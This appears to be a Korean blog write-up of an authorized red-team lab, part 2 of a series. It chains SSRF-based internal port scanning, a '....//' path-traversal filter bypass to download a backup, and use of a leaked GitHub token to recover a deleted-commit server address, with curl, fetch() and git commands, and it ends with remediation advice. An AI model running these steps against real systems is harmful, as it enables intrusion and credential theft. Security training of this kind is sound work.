CJ 레드팀 랩 모의해킹 (2)
- 01CJ 레드팀 랩 모의해킹 (1)
- 02CJ 레드팀 랩 모의해킹 (2)
- 03CJ 레드팀 랩 모의해킹 (3)
- 04CJ 레드팀 랩 모의해킹 (4)
- 05CJ 레드팀 랩 모의해킹 (5)
본 글은 강사가 제공한 인가된 실습 환경에서 진행한 내용을 정리한 것이다. 등장하는 계정은 실습용으로 발급된 1회성 자격증명이며 실습 종료와 함께 폐기됐다. 공인 IP와 토큰은 마스킹했다.
1편에서 SQL 인젝션으로 svc-monitor 계정을 얻고 DB 서버에서 명령까지 실행했다. 그런데 정작 미션인 다음 서버 주소는 못 찾은 채였다.
DB 안을 뒤져도 주소가 없었기 때문이다. 그래서 방향을 바꿨다. 내가 직접 찾는 대신, 서버한테 대신 찾아보라고 시키기로 했다.
svc-monitor 로 로그인 → 관리자 도구가 열림
│
서버를 시켜 내부망을 두드림 → 아무도 모르던 :9091 발견
│
그 서비스의 안내문이 백업 파일 위치를 알려줌
│
../ 는 막히지만 ....// 는 통함 → 백업 파일 획득
│
백업 안에 GitHub 토큰이 그대로 적혀 있음
│
└──→ 삭제된 커밋에서 다음 서버 주소·포트를 찾아냄
1. 잠겨 있던 관리자 도구
1편 끝에서 막혔던 /ops-status/monitor 는 로그인이 필요했다. SQL 인젝션으로 얻은 계정으로 들어가니 열렸다.
curl -s -c ops.jar -X POST http://<LAB_IP>:8081/ops-status/login \
-H 'Content-Type: application/json' \
-d '{"username":"svc-monitor","password":"novise"}'

도구의 정체는 서버 상태 확인기였다. 주소와 경로를 입력하면 서버가 그리로 요청을 보내고 결과를 보여준다.

바로 이 구조가 문제다.
2. 서버를 시켜서 두드리기
이런 취약점을 SSRF(Server-Side Request Forgery)라고 부른다. 이름이 어렵지만 뜻은 간단하다. 서버가 내가 시킨 주소로 대신 요청을 보내주는 것이다.
왜 그게 문제인지는 이 그림이면 충분하다.
[내 PC] ──✕──→ 내부망 직접 가면 막힌다
[내 PC] ──→ [웹서버] ──✓──→ 내부망 서버한테 시키면 간다
내부망은 밖에서 못 들어가게 막아둔 곳이다. 그런데 웹서버는 이미 그 안에 있다. 그러니 웹서버한테 부탁하면 들어갈 수 있다. 막힌 문 앞에서, 안에 있는 사람에게 대신 봐달라고 하는 셈이다.
먼저 정말 되는지부터 확인했다
바로 이곳저곳 두드리지 않았다. 이 기능이 아무 주소나 받아주는지 부터 확인하는 게 먼저다.
이 서버는 밖에서 8081번 포트만 열려 있다. 그러니 다른 포트가 응답한다면, 그건 내가 아니라 서버가 요청을 보낸 것이다.
curl -s -b ops.jar \
"http://<LAB_IP>:8081/ops-status/monitor?target=127.0.0.1:5000&path=/"

밖에서는 절대 못 여는 포트가 열렸다. 확실해졌다.
그러면 포트를 훑을 수 있다
이게 되면 이 기능은 곧 내부망을 훑는 도구가 된다. 1편에서 알아낸 대역을 하나씩 넣어봤다.
172.19.0.2:5432 postgres 데이터베이스
172.19.0.4:21 ftp 1편에서 들어갔던 곳
172.19.0.6:5000 앱 (200)
172.19.0.6:9091 ??? (200) ← 처음 보는 것
9091 이 낯설었다. 열어보니 이렇게 답했다.
{"endpoints":["/admin/dump-config"],"service":"internal-metrics","status":"ok"}

서비스가 자기 관리 기능 주소를 알려준다. 내부에서만 쓰는 거라 로그인을 안 걸어둔 것으로 보인다.
3. 안내문이 다음 단계를 알려줬다
알려준 주소를 열어봤다.
{
"service": "internal-metrics-admin",
"note": "internal only - do not expose externally",
"hint": "ops-status download tool only serves the reports/ folder,
but the real backup (cj-ops-ci.bak) is one level up in backups/"
}

“외부에 노출하지 말 것” 이라고 써놓고 정작 파일 이름과 위치를 그대로 알려준다. 1편의 robots.txt 주석이나 backup-policy.txt 와 똑같은 일이다.
운영자가 자기들끼리 보려고 남긴 메모가, 들어온 사람에게는 안내판이 된다.
이제 목표가 분명해졌다. 다운로드 기능으로 reports/ 폴더를 빠져나가서 backups/cj-ops-ci.bak 을 가져오는 것.
4. 필터가 ../ 를 한 번만 지운다
파일 다운로드 주소는 이렇게 생겼다.
/ops-status/download?file=<파일이름>
reports/ 폴더가 기준이다. 여기서 한 단계 위로 올라가려면 ../ 를 쓴다. 웹이든 터미널이든 ../ 는 “상위 폴더” 라는 뜻이다.
먼저 그대로 해봤다.
curl -s "http://<LAB_IP>:8081/ops-status/download?file=../backups/cj-ops-ci.bak"

막혔다. 그런데 어떻게 막았는지가 중요하다.
이런 걸 막는 가장 쉬운 방법은 입력에서 ../ 라는 글자를 찾아 지우는 것이다. 그런데 그 지우기를 딱 한 번만 하면 빈틈이 생긴다.
....// 를 넣어보자.
내가 보낸 것 . . . . / /
"../" 를 찾아 지움 ↑ ↑ ↑ 가운데 세 글자가 지워지고
남은 것 . . / → ../
지우는 행위가 새 ../ 를 만들어낸다. 앞의 점 두 개와 뒤의 슬래시가 붙어버리기 때문이다.
제대로 막으려면 더 지울 게 없을 때까지 반복해야 하는데, 한 번만 돌리고 끝낸 것이다.
curl -s "http://<LAB_IP>:8081/ops-status/download?file=....//backups/cj-ops-ci.bak"
# 200 OK, 431 bytes
통했다.
브라우저로는 계속 실패했다
여기서 한참 헤맸다. 주소창에 넣으면 계속 404가 났다.
원인은 서버가 아니라 브라우저였다. 브라우저는 요청을 보내기 전에 주소를 스스로 정리하는데, 그때 ....// 를 ../ 로 바꿔버린다. 내가 친 것과 서버가 받은 것이 달랐던 것이다.
브라우저에서 하려면 주소창 대신 fetch() 로 보내야 한다. 이건 주소를 손대지 않는다.
fetch("http://<LAB_IP>:8081/ops-status/download?file=....//backups/cj-ops-ci.bak")
.then(r => r.text())
curl 은 처음부터 문제가 없었다.
여기서 배운 것: 안 될 때 원인이 항상 상대편에 있는 건 아니다. 내가 쓰는 도구가 입력을 바꿔서 실패할 수도 있다.
5. 백업 파일 안에 토큰이 있었다
받아낸 431바이트짜리 파일은 배포 스크립트 조각이었다.
# CJ CI/CD deploy snippet (legacy - remove before merge)
deploy:
stage: release
script:
- export GITHUB_PAT=github_pat_11BUGS……MASKED……BF8
- export GITHUB_USER=drkim-dev
- export GITHUB_REPO=private-test
# NOTE: temporary hardcode, rotate before enabling in prod pipeline
GITHUB_PAT 은 GitHub 개인 접근 토큰이다. 비밀번호 대신 쓰는 열쇠라고 보면 된다. 이게 있으면 그 계정의 비공개 저장소를 열 수 있다.
주석 두 줄이 눈에 띈다.
- “legacy - remove before merge” — 합치기 전에 지울 것
- “temporary hardcode, rotate before enabling in prod” — 임시로 박아둔 것, 운영 전에 바꿀 것
지우려고 했는데 안 지운 것이다. 그리고 이런 파일이 백업 폴더에 남아 있는 건 실제 현장에서도 흔하다.
6. 삭제된 커밋에 주소가 남아 있었다
토큰이 아직 살아 있는지부터 봤다.
curl -s -H "Authorization: Bearer $PAT" https://api.github.com/user
# {"login":"drkim-dev","name":"drkim","bio":"red team"}
살아 있다. 비공개 저장소를 받아왔다.
git clone https://drkim-dev:$PAT@github.com/drkim-dev/private-test.git
그런데 파일을 다 열어봐도 주소가 없었다. 여기가 이 랩의 마지막 함정이다.
지운 것은 사라지지 않는다
git 은 파일이 바뀔 때마다 그 순간을 통째로 저장해 둔다. 그 저장 단위 하나를 커밋이라고 한다.
중요한 건 이거다. 나중에 파일을 지우거나 되돌려도, 예전 커밋은 그대로 남아 있다. 목록에서 안 보이게 될 뿐이다.
--all 을 붙이면 그 숨은 것들까지 다 나온다.
git log --oneline --all
3eb863b Update README.md
e28c075 chore: migrate relay sync to new internal repo, archive legacy source
e738d42 Add nginx-config-relay service (stage2)
ea2eae6 chore: point CI deploy target at <STAGE2_IP> ← 여기
291794d notes: temp testing creds
찾았다. 그런데 파일 안이 아니라 커밋에 붙인 설명 문구에 주소가 적혀 있었다. 코드에서 지워도 이 문구는 남는다.
포트는 그 시절 README 에 있었다. 지금은 지워졌지만, 그 파일이 살아 있던 커밋을 지정하면 그때 내용을 꺼낼 수 있다.
git show e738d42:README.md
# nginx-config-relay
## Deployment
- http://<STAGE2_IP>:30082
정말 살아 있는 서버인지 확인
curl -si http://<STAGE2_IP>:30082/ | head -3
HTTP/1.1 404 NOT FOUND
Server: openresty/1.25.3.2
404 지만 실망할 게 아니다. 응답이 왔다는 것 자체가 서버가 살아 있다는 뜻이고, Server: 줄이 무슨 프로그램인지까지 알려준다. 없는 주소면 아예 답이 없다.
Stage 2 도착.
조치 권고
| 문제 | 어떻게 막나 |
|---|---|
| 서버가 아무 주소나 대신 요청 | 요청 가능한 주소를 미리 정한 목록으로 제한. 내부망 주소는 기본 차단 |
| 내부 서비스에 로그인 없음 | “내부에서만 쓰니까”는 이유가 안 된다. 이 글의 전제가 바로 내부망 도달이었다 |
| 안내문이 파일 위치를 흘림 | 진단·상태 기능이 파일 경로나 폴더 구조를 응답에 담지 않게 |
| 경로 필터 | 글자를 지우는 방식으로 막지 않는다. 경로를 끝까지 정리한 뒤, 허용된 폴더 안인지 확인하는 방식으로 |
| 백업 파일에 토큰 하드코딩 | 비밀값은 코드·설정에 두지 않고 전용 보관소에. 이미 새어나간 토큰은 즉시 폐기 |
| 토큰 권한 | 필요한 저장소에만, 만료일을 걸어서 |
| git 이력 | 커밋에서 지워도 남는다. 유출됐다면 토큰을 바꾸는 것이 유일한 해결이고 이력 정리는 그다음이다 |
돌아보며
이 구간을 한 줄로 줄이면 “막혔다고 끝이 아니다” 였다.
내부망은 직접 못 갔지만 서버를 시키니 갔다. ../ 는 막혔지만 필터가 한 번만 도는 걸 알고 나니 뚫렸다. 저장소는 비어 보였지만 지운 커밋에는 남아 있었다.
세 번 다 막혔다는 사실이 아니라 어떻게 막았는지를 들여다봤을 때 길이 나왔다.
그리고 4장의 브라우저 문제는 1편에서 겪은 것과 같은 종류였다. 서버가 막은 줄 알았는데 내 도구가 요청을 바꾸고 있었다. 안 되는 이유를 상대편에서만 찾으면 이런 걸 놓친다.
다음 편은 여기서 얻은 주소로 넘어간다. Apache Struts 파일 업로드 취약점이 기다리고 있었다.
ATTACK CHAIN
